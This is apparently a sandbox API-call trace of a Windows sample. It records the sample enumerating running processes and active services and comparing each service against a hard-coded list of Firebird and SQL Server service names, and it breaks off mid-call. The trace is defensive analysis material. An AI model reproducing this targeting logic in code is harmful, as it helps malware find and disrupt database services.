[0173.122] lstrlenW (lpString="stream-test.exe") returned 15 [0173.122] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0173.123] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0173.123] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0173.124] lstrlenW (lpString="taskhostw.exe") returned 13 [0173.124] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0173.124] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0173.124] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0173.125] lstrlenW (lpString="movers-indication.exe") returned 21 [0173.125] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0173.126] lstrlenW (lpString="drama tv thee.exe") returned 17 [0173.126] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0173.126] lstrlenW (lpString="barriers.exe") returned 12 [0173.127] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0173.127] lstrlenW (lpString="shootclick.exe") returned 14 [0173.127] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0173.128] lstrlenW (lpString="nickel.exe") returned 10 [0173.128] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0173.129] lstrlenW (lpString="imperialopened.exe") returned 18 [0173.129] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0173.130] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0173.130] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0173.131] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0173.131] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0173.132] lstrlenW (lpString="perhapssentences.exe") returned 20 [0173.132] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.133] lstrlenW (lpString="svchost.exe") returned 11 [0173.133] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0173.133] lstrlenW (lpString="chrome64b.exe") returned 13 [0173.134] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0173.134] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0173.134] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0173.135] lstrlenW (lpString="conhost.exe") returned 11 [0173.135] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0173.136] lstrlenW (lpString="cmd.exe") returned 7 [0173.136] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0173.136] lstrlenW (lpString="conhost.exe") returned 11 [0173.137] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0173.137] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0173.137] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0173.138] CloseHandle (hObject=0x360) returned 1 [0173.138] Sleep (dwMilliseconds=0x1f4) [0173.683] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7cea50 [0173.684] EnumServicesStatusExW (in: hSCManager=0x7cea50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0173.684] GetLastError () returned 0xea [0173.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x43800d0 [0173.684] EnumServicesStatusExW (in: hSCManager=0x7cea50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43800d0, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43800d0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0173.685] CloseServiceHandle (hSCObject=0x7cea50) returned 1 [0173.685] lstrlenW (lpString="Appinfo") returned 7 [0173.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0173.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0173.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0173.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0173.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0173.685] lstrlenW (lpString="AppXSvc") returned 7 [0173.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0173.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0173.685] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0173.685] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0173.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0173.686] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0173.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.686] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0173.686] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0173.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0173.686] lstrlenW (lpString="Audiosrv") returned 8 [0173.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0173.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0173.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0173.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0173.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0173.686] lstrlenW (lpString="BFE") returned 3 [0173.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0173.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0173.686] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0173.686] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0173.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0173.686] lstrlenW (lpString="BITS") returned 4 [0173.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0173.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0173.686] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0173.686] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0173.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0173.686] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0173.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0173.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0173.686] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0173.686] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0173.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0173.686] lstrlenW (lpString="CDPSvc") returned 6 [0173.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0173.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0173.686] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0173.686] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0173.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0173.687] lstrlenW (lpString="ClickToRunSvc") returned 13 [0173.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0173.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0173.687] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0173.687] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0173.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0173.687] lstrlenW (lpString="ClipSVC") returned 7 [0173.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0173.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0173.687] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0173.687] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0173.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0173.687] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0173.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0173.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0173.687] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0173.687] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0173.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0173.687] lstrlenW (lpString="CryptSvc") returned 8 [0173.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0173.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0173.687] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0173.687] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0173.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0173.687] lstrlenW (lpString="DcomLaunch") returned 10 [0173.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.687] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0173.687] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0173.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0173.687] lstrlenW (lpString="DeviceAssociationService") returned 24 [0173.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0173.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0173.688] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0173.688] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0173.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0173.688] lstrlenW (lpString="Dhcp") returned 4 [0173.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0173.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0173.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0173.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0173.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0173.688] lstrlenW (lpString="Dnscache") returned 8 [0173.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0173.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0173.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0173.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0173.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0173.688] lstrlenW (lpString="DoSvc") returned 5 [0173.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0173.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0173.688] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0173.688] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0173.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0173.688] lstrlenW (lpString="DPS") returned 3 [0173.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0173.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0173.688] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0173.688] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0173.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0173.688] lstrlenW (lpString="DusmSvc") returned 7 [0173.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0173.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0173.688] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0173.688] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0173.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0173.688] lstrlenW (lpString="EventLog") returned 8 [0173.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0173.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0173.689] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0173.689] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0173.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0173.689] lstrlenW (lpString="EventSystem") returned 11 [0173.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0173.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0173.689] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0173.689] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0173.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0173.689] lstrlenW (lpString="FontCache") returned 9 [0173.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0173.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0173.689] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0173.689] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0173.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0173.689] lstrlenW (lpString="gpsvc") returned 5 [0173.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0173.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0173.689] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0173.689] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0173.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0173.689] lstrlenW (lpString="iphlpsvc") returned 8 [0173.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.689] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0173.689] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0173.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0173.689] lstrlenW (lpString="KeyIso") returned 6 [0173.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0173.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0173.689] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0173.689] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0173.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0173.689] lstrlenW (lpString="LanmanServer") returned 12 [0173.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0173.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0173.690] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0173.690] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0173.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0173.690] lstrlenW (lpString="LanmanWorkstation") returned 17 [0173.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.690] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0173.690] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0173.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0173.690] lstrlenW (lpString="lfsvc") returned 5 [0173.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0173.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0173.690] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0173.690] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0173.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0173.690] lstrlenW (lpString="LicenseManager") returned 14 [0173.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0173.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0173.690] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0173.690] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0173.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0173.690] lstrlenW (lpString="lmhosts") returned 7 [0173.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0173.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0173.690] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0173.690] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0173.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0173.690] lstrlenW (lpString="LSM") returned 3 [0173.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0173.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0173.690] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0173.690] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0173.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0173.691] lstrlenW (lpString="MpsSvc") returned 6 [0173.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0173.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0173.691] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0173.691] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0173.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0173.691] lstrlenW (lpString="NcbService") returned 10 [0173.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0173.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0173.691] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0173.691] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0173.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0173.691] lstrlenW (lpString="netprofm") returned 8 [0173.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0173.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0173.691] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0173.691] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0173.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0173.691] lstrlenW (lpString="NlaSvc") returned 6 [0173.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0173.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0173.691] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0173.691] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0173.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0173.691] lstrlenW (lpString="nsi") returned 3 [0173.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0173.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0173.691] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0173.691] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0173.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0173.691] lstrlenW (lpString="PcaSvc") returned 6 [0173.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0173.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0173.691] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0173.692] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0173.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0173.692] lstrlenW (lpString="PlugPlay") returned 8 [0173.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0173.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0173.692] lstrcmpiW (lpString1="sqlwriter", 